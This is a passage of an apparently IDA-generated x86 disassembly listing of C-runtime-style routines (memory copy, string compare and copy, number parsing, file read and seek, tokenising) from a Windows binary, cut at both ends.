loc_418480 std rep movsd cld jmp off_4185A0[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_418554 dd offset loc_41855C dd offset loc_418564 dd offset loc_41856C dd offset loc_418574 dd offset loc_41857C dd offset loc_418584 off_418550 dd offset loc_418597 ; DATA XREF: sub_4182C0+1C2r ; --------------------------------------------------------------------------- loc_418554: ; DATA XREF: sub_4182C0+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41855C: ; DATA XREF: sub_4182C0+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_418564: ; DATA XREF: sub_4182C0+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41856C: ; DATA XREF: sub_4182C0+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_418574: ; DATA XREF: sub_4182C0+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41857C: ; DATA XREF: sub_4182C0+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_418584: ; DATA XREF: sub_4182C0+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_418597: ; CODE XREF: sub_4182C0+1C2j ; DATA XREF: sub_4182C0:off_418550o jmp off_4185A0[edx*4] ; --------------------------------------------------------------------------- align 10h off_4185A0 dd offset loc_4185B0 ; DATA XREF: sub_4182C0+1B7r ; sub_4182C0:loc_4184A4r ... dd offset loc_4185B8 dd offset loc_4185C8 dd offset loc_4185DC ; --------------------------------------------------------------------------- loc_4185B0: ; CODE XREF: sub_4182C0+1B7j ; sub_4182C0:loc_4184A4j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4185B8: ; CODE XREF: sub_4182C0+1B7j ; sub_4182C0:loc_4184A4j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4185C8: ; CODE XREF: sub_4182C0+1B7j ; sub_4182C0:loc_4184A4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4185DC: ; CODE XREF: sub_4182C0+1B7j ; sub_4182C0:loc_4184A4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_4182C0 endp ; =============== S U B R O U T I N E ======================================= sub_4185F5 proc near ; CODE XREF: sub_40473F+34p ; sub_40473F+4Fp ... arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] call sub_417B9B pop ecx pop ecx retn sub_4185F5 endp ; =============== S U B R O U T I N E ======================================= sub_418603 proc near ; CODE XREF: sub_418670+4p arg_0 = dword ptr 4 push esi push dword_48B69C call sub_41D5A8 mov edx, dword_48B69C pop ecx mov ecx, dword_48B698 mov esi, ecx sub esi, edx add esi, 4 cmp eax, esi pop esi jnb short loc_418662 push edx call sub_41D5A8 add eax, 10h push eax push dword_48B69C call sub_41944F add esp, 0Ch test eax, eax jnz short loc_418645 retn ; --------------------------------------------------------------------------- loc_418645: ; CODE XREF: sub_418603+3Fj mov ecx, dword_48B698 sub ecx, dword_48B69C mov dword_48B69C, eax sar ecx, 2 lea ecx, [eax+ecx*4] mov dword_48B698, ecx loc_418662: ; CODE XREF: sub_418603+23j mov eax, [esp+arg_0] mov [ecx], eax add dword_48B698, 4 retn sub_418603 endp ; =============== S U B R O U T I N E ======================================= sub_418670 proc near ; CODE XREF: sub_40482C+1Ap arg_0 = dword ptr 4 push [esp+arg_0] call sub_418603 neg eax sbb eax, eax pop ecx neg eax dec eax retn sub_418670 endp ; =============== S U B R O U T I N E ======================================= sub_418682 proc near ; DATA XREF: ___:00426018o push 80h call sub_417B89 test eax, eax pop ecx mov dword_48B69C, eax jnz short loc_4186A3 push 18h call sub_419CDA mov eax, dword_48B69C pop ecx loc_4186A3: ; CODE XREF: sub_418682+12j and dword ptr [eax], 0 mov eax, dword_48B69C mov dword_48B698, eax retn sub_418682 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4186B1 proc near ; CODE XREF: ___:00404AFFp ; sub_4053D5+4Ep var_CC = byte ptr -0CCh var_32 = word ptr -32h var_24 = dword ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1A = word ptr -1Ah var_18 = word ptr -18h var_16 = word ptr -16h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0CCh lea eax, [ebp+var_10] push eax call near ptr 2610000h nop lea eax, [ebp+var_20] push eax nop call near ptr 2800000h mov ax, [ebp+var_16] cmp ax, word_48A00A jnz short loc_418716 mov ax, [ebp+var_18] cmp ax, word_48A008 jnz short loc_418716 mov ax, [ebp+var_1A] cmp ax, word_48A006 jnz short loc_418716 mov ax, [ebp+var_1E] cmp ax, word_48A002 jnz short loc_418716 mov ax, [ebp+var_20] cmp ax, word_48A000 jnz short loc_418716 mov eax, dword_489FF8 jmp short loc_41875B ; --------------------------------------------------------------------------- loc_418716: ; CODE XREF: sub_4186B1+28j ; sub_4186B1+35j ... lea eax, [ebp+var_CC] push eax nop call near ptr 27F0000h cmp eax, 0FFFFFFFFh jz short loc_418743 cmp eax, 2 jnz short loc_41873F cmp [ebp+var_32], 0 jz short loc_41873F cmp [ebp+var_24], 0 jz short loc_41873F push 1 pop eax jmp short loc_418746 ; --------------------------------------------------------------------------- loc_41873F: ; CODE XREF: sub_4186B1+7Aj ; sub_4186B1+81j ... xor eax, eax jmp short loc_418746 ; --------------------------------------------------------------------------- loc_418743: ; CODE XREF: sub_4186B1+75j or eax, 0FFFFFFFFh loc_418746: ; CODE XREF: sub_4186B1+8Cj ; sub_4186B1+90j push esi push edi lea esi, [ebp+var_20] mov edi, offset word_48A000 movsd movsd movsd movsd pop edi mov dword_489FF8, eax pop esi loc_41875B: ; CODE XREF: sub_4186B1+63j push eax movzx eax, [ebp+var_4] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_10] push eax call sub_41D609 mov ecx, [ebp+arg_0] add esp, 1Ch test ecx, ecx jz short locret_41878B mov [ecx], eax locret_41878B: ; CODE XREF: sub_4186B1+D6j leave retn sub_4186B1 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418790 proc near arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] lea eax, dword_48A0A0 cmp dword ptr [eax+8], 0 jnz short loc_4187E3 mov al, 0FFh mov edi, edi loc_4187AC: ; CODE XREF: sub_418790+28j ; sub_418790+48j or al, al jz short loc_4187DE mov al, [esi] inc esi mov ah, [edi] inc edi cmp ah, al jz short loc_4187AC sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h xchg ah, al sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h cmp al, ah jz short loc_4187AC sbb al, al sbb al, 0FFh loc_4187DE: ; CODE XREF: sub_418790+1Ej movsx eax, al jmp short loc_418817 ; --------------------------------------------------------------------------- loc_4187E3: ; CODE XREF: sub_418790+16j mov eax, 0FFh xor ebx, ebx mov edi, edi loc_4187EC: ; CODE XREF: sub_418790+68j ; sub_418790+80j or al, al jz short loc_418817 mov al, [esi] inc esi mov bl, [edi] inc edi cmp al, bl jz short loc_4187EC push eax push ebx call sub_419101 mov ebx, eax add esp, 4 call sub_419101 add esp, 4 cmp bl, al jz short loc_4187EC sbb eax, eax sbb eax, 0FFFFFFFFh loc_418817: ; CODE XREF: sub_418790+51j ; sub_418790+5Ej pop ebx pop esi pop edi leave retn sub_418790 endp ; =============== S U B R O U T I N E ======================================= sub_41881C proc near ; CODE XREF: ___:0041ACB7p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_418833 add esp, 10h retn sub_41881C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418833 proc near ; CODE XREF: sub_41881C+Ep ; sub_418A3B+Ep var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch push ebx and [ebp+var_8], 0 push esi push edi mov edi, [ebp+arg_0] mov bl, [edi] lea esi, [edi+1] mov [ebp+var_4], esi loc_41884B: ; CODE XREF: sub_418833+46j cmp dword_4397AC, 1 jle short loc_418863 movzx eax, bl push 8 push eax call sub_41A642 pop ecx pop ecx jmp short loc_418872 ; --------------------------------------------------------------------------- loc_418863: ; CODE XREF: sub_418833+1Fj mov ecx, off_4395A0 movzx eax, bl mov al, [ecx+eax*2] and eax, 8 loc_418872: ; CODE XREF: sub_418833+2Ej test eax, eax jz short loc_41887B mov bl, [esi] inc esi jmp short loc_41884B ; --------------------------------------------------------------------------- loc_41887B: ; CODE XREF: sub_418833+41j cmp bl, 2Dh mov [ebp+var_4], esi jnz short loc_418889 or [ebp+arg_C], 2 jmp short loc_41888E ; --------------------------------------------------------------------------- loc_418889: ; CODE XREF: sub_418833+4Ej cmp bl, 2Bh jnz short loc_418894 loc_41888E: ; CODE XREF: sub_418833+54j mov bl, [esi] inc esi mov [ebp+var_4], esi loc_418894: ; CODE XREF: sub_418833+59j mov eax, [ebp+arg_8] test eax, eax jl loc_418A2B cmp eax, 1 jz loc_418A2B cmp eax, 24h jg loc_418A2B push 10h test eax, eax pop ecx jnz short loc_4188DC cmp bl, 30h jz short loc_4188C6 mov [ebp+arg_8], 0Ah jmp short loc_4188F8 ; --------------------------------------------------------------------------- loc_4188C6: ; CODE XREF: sub_418833+88j mov al, [esi] cmp al, 78h jz short loc_4188D9 cmp al, 58h jz short loc_4188D9 mov [ebp+arg_8], 8 jmp short loc_4188F8 ; --------------------------------------------------------------------------- loc_4188D9: ; CODE XREF: sub_418833+97j ; sub_418833+9Bj mov [ebp+arg_8], ecx loc_4188DC: ; CODE XREF: sub_418833+83j cmp [ebp+arg_8], ecx jnz short loc_4188F8 cmp bl, 30h jnz short loc_4188F8 mov al, [esi] cmp al, 78h jz short loc_4188F0 cmp al, 58h jnz short loc_4188F8 loc_4188F0: ; CODE XREF: sub_418833+B7j mov bl, [esi+1] inc esi inc esi mov [ebp+var_4], esi loc_4188F8: ; CODE XREF: sub_418833+91j ; sub_418833+A4j ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] mov edi, 103h mov [ebp+var_C], eax loc_418908: ; CODE XREF: sub_418833+16Cj cmp dword_4397AC, 1 movzx esi, bl jle short loc_418920 push 4 push esi call sub_41A642 pop ecx pop ecx jmp short loc_41892B ; --------------------------------------------------------------------------- loc_418920: ; CODE XREF: sub_418833+DFj mov eax, off_4395A0 mov al, [eax+esi*2] and eax, 4 loc_41892B: ; CODE XREF: sub_418833+EBj test eax, eax jz short loc_418937 movsx ecx, bl sub ecx, 30h jmp short loc_418969 ; --------------------------------------------------------------------------- loc_418937: ; CODE XREF: sub_418833+FAj cmp dword_4397AC, 1 jle short loc_41894B push edi push esi call sub_41A642 pop ecx pop ecx jmp short loc_418956 ; --------------------------------------------------------------------------- loc_41894B: ; CODE XREF: sub_418833+10Bj mov eax, off_4395A0 mov ax, [eax+esi*2] and eax, edi loc_418956: ; CODE XREF: sub_418833+116j test eax, eax jz short loc_4189A4 movsx eax, bl push eax call sub_41D6CB pop ecx mov ecx, eax sub ecx, 37h loc_418969: ; CODE XREF: sub_418833+102j cmp ecx, [ebp+arg_8] jnb short loc_4189A4 mov esi, [ebp+var_8] or [ebp+arg_C], 8 cmp esi, [ebp+var_C] jb short loc_41898E jnz short loc_418988 or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] cmp ecx, edx jbe short loc_41898E loc_418988: ; CODE XREF: sub_418833+147j or [ebp+arg_C], 4 jmp short loc_418997 ; --------------------------------------------------------------------------- loc_41898E: ; CODE XREF: sub_418833+145j ; sub_418833+153j imul esi, [ebp+arg_8] add esi, ecx mov [ebp+var_8], esi loc_418997: ; CODE XREF: sub_418833+159j mov eax, [ebp+var_4] inc [ebp+var_4] mov bl, [eax] jmp loc_418908 ; --------------------------------------------------------------------------- loc_4189A4: ; CODE XREF: sub_418833+125j ; sub_418833+139j mov ecx, [ebp+arg_C] dec [ebp+var_4] mov edx, [ebp+arg_4] test cl, 8 jnz short loc_4189C2 test edx, edx jz short loc_4189BC mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_4189BC: ; CODE XREF: sub_418833+181j and [ebp+var_8], 0 jmp short loc_418A0F ; --------------------------------------------------------------------------- loc_4189C2: ; CODE XREF: sub_418833+17Dj test cl, 4 mov eax, 7FFFFFFFh jnz short loc_4189E8 test cl, 1 jnz short loc_418A0F and ecx, 2 jz short loc_4189DF cmp [ebp+var_8], 80000000h ja short loc_4189E8 loc_4189DF: ; CODE XREF: sub_418833+1A1j test ecx, ecx jnz short loc_418A0F cmp [ebp+var_8], eax jbe short loc_418A0F loc_4189E8: ; CODE XREF: sub_418833+197j ; sub_418833+1AAj test byte ptr [ebp+arg_C], 1 mov dword_48A014, 22h jz short loc_4189FE or [ebp+var_8], 0FFFFFFFFh jmp short loc_418A0F ; --------------------------------------------------------------------------- loc_4189FE: ; CODE XREF: sub_418833+1C3j mov ecx, [ebp+arg_C] and cl, 2 neg cl sbb ecx, ecx neg ecx add ecx, eax mov [ebp+var_8], ecx loc_418A0F: ; CODE XREF: sub_418833+18Dj ; sub_418833+19Cj ... test edx, edx jz short loc_418A18 mov eax, [ebp+var_4] mov [edx], eax loc_418A18: ; CODE XREF: sub_418833+1DEj test byte ptr [ebp+arg_C], 2 jz short loc_418A26 mov eax, [ebp+var_8] neg eax mov [ebp+var_8], eax loc_418A26: ; CODE XREF: sub_418833+1E9j mov eax, [ebp+var_8] jmp short loc_418A36 ; --------------------------------------------------------------------------- loc_418A2B: ; CODE XREF: sub_418833+66j ; sub_418833+6Fj ... mov eax, [ebp+arg_4] test eax, eax jz short loc_418A34 mov [eax], edi loc_418A34: ; CODE XREF: sub_418833+1FDj xor eax, eax loc_418A36: ; CODE XREF: sub_418833+1F6j pop edi pop esi pop ebx leave retn sub_418833 endp ; =============== S U B R O U T I N E ======================================= sub_418A3B proc near ; CODE XREF: sub_4053D5+4BDp ; sub_40EE72+3773p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_418833 add esp, 10h retn sub_418A3B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418A52 proc near ; CODE XREF: sub_4053D5+266p ; sub_4053D5+46Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] mov [ebp+var_14], 49h push eax mov [ebp+var_18], eax mov [ebp+var_20], eax call sub_417AB0 mov [ebp+var_1C], eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_20] push [ebp+arg_4] push eax call sub_41D797 add esp, 10h leave retn sub_418A52 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418A86 proc near ; CODE XREF: sub_405A58+4Ep ; sub_406C19+30Ep ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov ecx, edi test edi, edi mov [ebp+var_4], edi mov [ebp+arg_0], ecx jnz short loc_418AAA xor eax, eax jmp loc_418B53 ; --------------------------------------------------------------------------- loc_418AAA: ; CODE XREF: sub_418A86+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_418ABD mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_418AC9 ; --------------------------------------------------------------------------- loc_418ABD: ; CODE XREF: sub_418A86+2Dj mov [ebp+arg_C], 1000h jmp short loc_418AC9 ; --------------------------------------------------------------------------- loc_418AC6: ; CODE XREF: sub_418A86+C4j mov ecx, [ebp+arg_0] loc_418AC9: ; CODE XREF: sub_418A86+35j ; sub_418A86+3Ej test word ptr [esi+0Ch], 10Ch jz short loc_418AFB mov eax, [esi+4] test eax, eax jz short loc_418AFB cmp ecx, eax mov edi, ecx jb short loc_418AE0 mov edi, eax loc_418AE0: ; CODE XREF: sub_418A86+56j push edi push dword ptr [esi] push ebx call sub_417390 sub [ebp+arg_0], edi sub [esi+4], edi add [esi], edi add esp, 0Ch add ebx, edi mov edi, [ebp+var_4] jmp short loc_418B46 ; --------------------------------------------------------------------------- loc_418AFB: ; CODE XREF: sub_418A86+49j ; sub_418A86+50j cmp ecx, [ebp+arg_C] jb short loc_418B2E cmp [ebp+arg_C], 0 mov eax, ecx jz short loc_418B11 xor edx, edx div [ebp+arg_C] mov eax, ecx sub eax, edx loc_418B11: ; CODE XREF: sub_418A86+80j push eax push ebx push dword ptr [esi+10h] call sub_41E321 add esp, 0Ch test eax, eax jz short loc_418B58 cmp eax, 0FFFFFFFFh jz short loc_418B5E sub [ebp+arg_0], eax add ebx, eax jmp short loc_418B46 ; --------------------------------------------------------------------------- loc_418B2E: ; CODE XREF: sub_418A86+78j push esi call sub_41E248 cmp eax, 0FFFFFFFFh pop ecx jz short loc_418B62 mov [ebx], al mov eax, [esi+18h] inc ebx dec [ebp+arg_0] mov [ebp+arg_C], eax loc_418B46: ; CODE XREF: sub_418A86+73j ; sub_418A86+A6j cmp [ebp+arg_0], 0 jnz loc_418AC6 mov eax, [ebp+arg_8] loc_418B53: ; CODE XREF: sub_418A86+1Fj ; sub_418A86+E6j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_418B58: ; CODE XREF: sub_418A86+9Aj or dword ptr [esi+0Ch], 10h jmp short loc_418B62 ; --------------------------------------------------------------------------- loc_418B5E: ; CODE XREF: sub_418A86+9Fj or dword ptr [esi+0Ch], 20h loc_418B62: ; CODE XREF: sub_418A86+B2j ; sub_418A86+D6j mov eax, edi xor edx, edx sub eax, [ebp+arg_0] div [ebp+arg_4] jmp short loc_418B53 sub_418A86 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418B6E proc near ; CODE XREF: sub_405AF2+2B2p ; sub_4060D0+101p ... var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push ebx push esi mov esi, [ebp+arg_4] push edi push 8 xor eax, eax pop ecx lea edi, [ebp+var_20] rep stosd push 7 pop edi loc_418B87: ; CODE XREF: sub_418B6E+32j mov dl, [esi] mov bl, 1 movzx ecx, dl mov eax, ecx and ecx, edi shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_20] or [eax], bl inc esi test dl, dl jnz short loc_418B87 mov edx, [ebp+arg_0] test edx, edx jnz short loc_418BAF mov edx, dword_48A010 loc_418BAF: ; CODE XREF: sub_418B6E+39j ; sub_418B6E+5Fj mov al, [edx] push 1 movzx esi, al mov ecx, esi pop ebx and ecx, edi shl ebx, cl shr esi, 3 mov cl, [ebp+esi+var_20] test bl, cl jz short loc_418BCF test al, al jz short loc_418BCF inc edx jmp short loc_418BAF ; --------------------------------------------------------------------------- loc_418BCF: ; CODE XREF: sub_418B6E+58j ; sub_418B6E+5Cj mov ebx, edx loc_418BD1: ; CODE XREF: sub_418B6E+81j mov al, [edx] test al, al jz short loc_418BF5 movzx esi, al mov ecx, esi push 1 and ecx, edi pop eax shl eax, cl shr esi, 3 mov cl, [ebp+esi+var_20] test al, cl jnz short loc_418BF1 inc edx jmp short loc_418BD1 ; --------------------------------------------------------------------------- loc_418BF1: ; CODE XREF: sub_418B6E+7Ej and byte ptr [edx], 0 inc edx loc_418BF5: ; CODE XREF: sub_418B6E+67j mov eax, ebx pop edi sub eax, edx pop esi neg eax sbb eax, eax mov dword_48A010, edx and eax, ebx pop ebx leave retn sub_418B6E endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_418C10 proc near ; CODE XREF: sub_406387+1B6p ; sub_407252+6Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_418C93 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_418C34 shr ecx, 2 jnz short loc_418CA1 jmp short loc_418C55 ; --------------------------------------------------------------------------- loc_418C34: ; CODE XREF: sub_418C10+1Bj ; sub_418C10+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_418C62 test al, al jz short loc_418C6A test esi, 3 jnz short loc_418C34 mov ebx, ecx shr ecx, 2 jnz short loc_418CA1 loc_418C50: ; CODE XREF: sub_418C10+8Fj and ebx, 3 jz short loc_418C62 loc_418C55: ; CODE XREF: sub_418C10+22j ; sub_418C10+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_418C8E dec ebx jnz short loc_418C55 loc_418C62: ; CODE XREF: sub_418C10+2Bj ; sub_418C10+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_418C6A: ; CODE XREF: sub_418C10+2Fj test edi, 3 jz short loc_418C84 loc_418C72: ; CODE XREF: sub_418C10+72j mov [edi], al inc edi dec ecx jz loc_418D06 test edi, 3 jnz short loc_418C72 loc_418C84: ; CODE XREF: sub_418C10+60j mov ebx, ecx shr ecx, 2 jnz short loc_418CF7 loc_418C8B: ; CODE XREF: sub_418C10+7Fj ; sub_418C10+F4j mov [edi], al inc edi loc_418C8E: ; CODE XREF: sub_418C10+4Dj dec ebx jnz short loc_418C8B pop ebx pop esi loc_418C93: ; CODE XREF: sub_418C10+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_418C99: ; CODE XREF: sub_418C10+A9j ; sub_418C10+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_418C50 loc_418CA1: ; CODE XREF: sub_418C10+20j ; sub_418C10+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_418C99 test dl, dl jz short loc_418CEB test dh, dh jz short loc_418CE1 test edx, 0FF0000h jz short loc_418CD7 test edx, 0FF000000h jnz short loc_418C99 mov [edi], edx jmp short loc_418CEF ; --------------------------------------------------------------------------- loc_418CD7: ; CODE XREF: sub_418C10+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_418CEF ; --------------------------------------------------------------------------- loc_418CE1: ; CODE XREF: sub_418C10+B1j and edx, 0FFh mov [edi], edx jmp short loc_418CEF ; --------------------------------------------------------------------------- loc_418CEB: ; CODE XREF: sub_418C10+ADj xor edx, edx mov [edi], edx loc_418CEF: ; CODE XREF: sub_418C10+C5j ; sub_418C10+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_418D01 loc_418CF7: ; CODE XREF: sub_418C10+79j xor eax, eax loc_418CF9: ; CODE XREF: sub_418C10+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_418CF9 loc_418D01: ; CODE XREF: sub_418C10+E5j and ebx, 3 jnz short loc_418C8B loc_418D06: ; CODE XREF: sub_418C10+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_418C10 endp ; =============== S U B R O U T I N E ======================================= sub_418D0E proc near ; CODE XREF: sub_406C19+2E2p ; sub_406C19+435p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push edi mov eax, [esi+0Ch] test al, 83h jz short loc_418D8A mov edi, [esp+8+arg_8] test edi, edi jz short loc_418D2D cmp edi, 1 jz short loc_418D2D cmp edi, 2 jnz short loc_418D8A loc_418D2D: ; CODE XREF: sub_418D0E+13j ; sub_418D0E+18j and al, 0EFh cmp edi, 1 mov [esi+0Ch], eax jnz short loc_418D44 push esi call sub_41E5B1 add [esp+0Ch+arg_4], eax pop ecx xor edi, edi loc_418D44: ; CODE XREF: sub_418D0E+27j push esi call sub_41A7D0 mov eax, [esi+0Ch] pop ecx test al, 80h jz short loc_418D59 and al, 0FCh mov [esi+0Ch], eax jmp short loc_418D6D ; --------------------------------------------------------------------------- loc_418D59: ; CODE XREF: sub_418D0E+42j test al, 1 jz short loc_418D6D test al, 8 jz short loc_418D6D test ah, 4 jnz short loc_418D6D mov dword ptr [esi+18h], 200h loc_418D6D: ; CODE XREF: sub_418D0E+49j ; sub_418D0E+4Dj ... push edi push [esp+0Ch+arg_4] push dword ptr [esi+10h] call sub_41E517 add esp, 0Ch xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl dec ecx mov eax, ecx jmp short loc_418D97 ; --------------------------------------------------------------------------- loc_418D8A: ; CODE XREF: sub_418D0E+Bj ; sub_418D0E+1Dj mov dword_48A014, 16h or eax, 0FFFFFFFFh loc_418D97: ; CODE XREF: sub_418D0E+7Aj pop edi pop esi retn sub_418D0E endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418DA0 proc near ; CODE XREF: sub_406C19+2ACp ; sub_406C19+2CDp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_418DD1 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_418DCF jz short loc_418DD1 dec ecx dec ecx loc_418DCF: ; CODE XREF: sub_418DA0+29j not ecx loc_418DD1: ; CODE XREF: sub_418DA0+9j ; sub_418DA0+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_418DA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_418DE0 proc near ; CODE XREF: sub_407110+5Cp ; sub_407110+9Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_418E94 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short loc_418E0A loc_418DFB: ; CODE XREF: sub_418DE0+28j mov al, [edi] inc edi test al, al jz short loc_418E3B test edi, 3 jnz short loc_418DFB loc_418E0A: ; CODE XREF: sub_418DE0+19j ; sub_418DE0+40j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_418E0A mov eax, [edi-4] test al, al jz short loc_418E48 test ah, ah jz short loc_418E43 test eax, 0FF0000h jz short loc_418E3E test eax, 0FF000000h jnz short loc_418E0A loc_418E3B: ; CODE XREF: sub_418DE0+20j dec edi jmp short loc_418E4B ; --------------------------------------------------------------------------- loc_418E3E: ; CODE XREF: sub_418DE0+52j sub edi, 2 jmp short loc_418E4B ; --------------------------------------------------------------------------- loc_418E43: ; CODE XREF: sub_418DE0+4Bj sub edi, 3 jmp short loc_418E4B ; --------------------------------------------------------------------------- loc_418E48: ; CODE XREF: sub_418DE0+47j sub edi, 4 loc_418E4B: ; CODE XREF: sub_418DE0+5Cj ; sub_418DE0+61j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_418E60 mov ebx, ecx shr ecx, 2 jnz short loc_418EAC jmp short loc_418E7C ; --------------------------------------------------------------------------- loc_418E60: ; CODE XREF: sub_418DE0+75j ; sub_418DE0+93j mov dl, [esi] inc esi test dl, dl jz short loc_418E9A mov [edi], dl inc edi dec ecx jz short loc_418E90 test esi, 3 jnz short loc_418E60 mov ebx, ecx shr ecx, 2 jnz short loc_418EAC loc_418E7C: ; CODE XREF: sub_418DE0+7Ej ; sub_418DE0+CAj mov ecx, ebx and ecx, 3 jz short loc_418E90 loc_418E83: ; CODE XREF: sub_418DE0+AEj mov dl, [esi] inc esi mov [edi], dl inc edi test dl, dl jz short loc_418E92 dec ecx jnz short loc_418E83 loc_418E90: ; CODE XREF: sub_418DE0+8Bj ; sub_418DE0+A1j mov [edi], cl loc_418E92: ; CODE XREF: sub_418DE0+ABj pop ebx pop esi loc_418E94: ; CODE XREF: sub_418DE0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_418E9A: ; CODE XREF: sub_418DE0+85j ; sub_418DE0+E8j mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_418EA4: ; CODE XREF: sub_418DE0+E4j ; sub_418DE0+FCj mov [edi], edx add edi, 4 dec ecx jz short loc_418E7C 